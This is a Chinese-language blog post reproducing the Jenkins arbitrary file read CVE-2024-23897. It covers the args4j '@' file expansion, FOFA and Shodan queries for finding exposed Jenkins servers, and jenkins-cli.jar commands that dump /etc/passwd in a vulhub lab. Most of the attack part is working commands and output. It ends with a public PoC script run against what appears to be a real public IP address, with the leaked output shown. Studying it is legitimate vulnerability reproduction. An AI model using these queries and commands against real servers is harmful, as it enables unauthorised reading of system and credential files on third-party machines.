Jenkins:CVE-2024-23897[任意文件读取]

Jenkins简介:一个开源的自动化服务器,它可以帮助自动化各种任务,包括构建、测试和部署软件。

漏洞原理

1.Jenkins服务器在处理客户端远程命令时,Jenkins 使用 args4j 库来解析 Jenkins 控制器上的命令参数和选项。

2.此命令解析器具有一项功能,可将参数中后跟文件路径的 @ 字符替换为文件的内容。

3.此功能默认启用,Jenkins 2.441 及更早版本、LTS 2.426.2 及更早版本不会禁用此功能。

FOFA查询语法

复制代码
(header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols") && port="443"

Shodan语法

复制代码
http.component:"Jenkins" port:8080

漏洞利用

1.开启vulhub靶场

复制代码
cd ./vulhub-master/jenkins/CVE-2024-23897

docker-compose up

docker ps

Name Command State Ports


cve-2024-23897_jenkins_1 /usr/bin/tini -- /usr/loca ... Up 0.0.0.0:50000->50000/tcp,:::50000->50000/tcp, 0.0.0.0:5005->5005/tcp,:::5005->5005/tcp,

0.0.0.0:8080->8080/tcp,:::8080->8080/tcp

2.访问网页

http://ip:8080

3.下载客户端用于远程访问

复制代码
wget http://IP:8080/jnlpJars/jenkins-cli.jar

4.使用客户端连接服务器,指定文件作为参数,回显文件内容

复制代码
java -jar jenkins-cli.jar -s http://192.168.10.5:8080 help @/etc/passwd

[root@localhost ~]# java -jar jenkins-cli.jar -s http://192.168.10.5:8080 help @/etc/passwd

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

如果用户权限较高可使用 reload-job 读取文件完整内容

复制代码
java -jar jenkins-cli.jar -s http://192.168.10.5:8080 reload-job @/etc/passwd

[root@localhost ~]# java -jar jenkins-cli.jar -s http://192.168.10.5:8080 reload-job @/etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such item 'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin' exists.
root:x:0:0:root:/root:/bin/bash: No such item 'root:x:0:0:root:/root:/bin/bash' exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such item 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin' exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such item 'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin' exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such item '_apt:x:42:65534::/nonexistent:/usr/sbin/nologin' exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such item 'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin' exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such item 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin' exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such item 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin' exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such item 'bin:x:2:2:bin:/bin:/usr/sbin/nologin' exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such item 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin' exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such item 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin' exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such item 'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin' exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such item 'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin' exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such item 'jenkins:x:1000:1000::/var/jenkins_home:/bin/bash' exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such item 'games:x:5:60:games:/usr/games:/usr/sbin/nologin' exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such item 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin' exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such item 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin' exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such item 'sys:x:3:3:sys:/dev:/usr/sbin/nologin' exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such item 'sync:x:4:65534:sync:/bin:/bin/sync' exists.

poc工具使用

作者地址:GitHub - h4x0r-dz/CVE-2024-23897: CVE-2024-23897

CVE-2024-23897.py

复制代码
CVE-2024-23897.py [-h] [-u URL] [-l LIST] -f文件

CVE-2024-23897漏洞脚本。

可选参数:
-h,------help显示帮助信息并退出
-u URL,------URL URL单目标URL。
-l LIST,------LIST LIST包含目标主机列表的文件。
-f FILE,------FILE FILE从服务器读取的文件路径。

[root@localhost CVE-2024-23897-main]# python3 CVE-2024-23897.py -u 52.83.63.195:9999 -f /etc/passwd
RESPONSE from 52.83.63.195:9999: b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00<\x08ERROR: Too many arguments: bin:x:1:1:bin:/bin:/sbin/nologin\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00N\x08Lists all the available commands or a detailed description of single command.\n\x00\x00\x00J\x08 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'

官方安全公告:Jenkins Security Advisory 2024-01-24

其他漏洞:https://korelogic.com/advisories.html

漏洞分析:Jenkins RCE漏洞PoC发布,CVE-2024-23897漏洞解析 - FreeBuf网络安全行业门户

漏洞利用及java低版本报错解决:Jenkins CLI 任意文件读取漏洞(CVE-2024-23897)复现 - BMCel - 博客园 (cnblogs.com)

相关推荐
志栋智能7 小时前
超自动化安全:构建智能安全运营的核心引擎
大数据·运维·服务器·数据库·安全·自动化·产品运营
星幻元宇VR8 小时前
VR航空航天科普设备【VR时空直升机】
科技·学习·安全·生活·vr
weixin_514253189 小时前
428-uitars tmux
安全·web安全
KKKlucifer12 小时前
日志审计与行为分析在安全服务中的应用实践
网络·人工智能·安全
ykjhr_3d15 小时前
vr电力安全培训系统有哪些
安全·vr·华锐视点
枷锁—sha15 小时前
【CTFshow-pwn系列】03_栈溢出【pwn 073】详解:静态编译下的自动化 ROP 链构建
网络·汇编·笔记·安全·网络安全·自动化
VBsemi-专注于MOSFET研发定制15 小时前
面向高可靠与能效需求的安全存储系统功率器件选型策略与适配手册
安全
xixixi7777716 小时前
AI安全周记:AI驱动攻击占比50%、PQC国标落地、ShinyHunters连环袭击——面对1:25的攻防成本鸿沟,防守方还能撑多久?
人工智能·安全·ai·大模型·aigc·量子计算·供应链
智擎软件测评小祺16 小时前
什么是非功能检测?筑牢软件性能与安全的基石
功能测试·安全·检测·cma·第三方检测·cnas·非功能检测
jinanwuhuaguo16 小时前
OpenClaw执行奇点——因果链折叠与责任悬置的时间哲学(第十九篇)
前端·人工智能·安全·重构·openclaw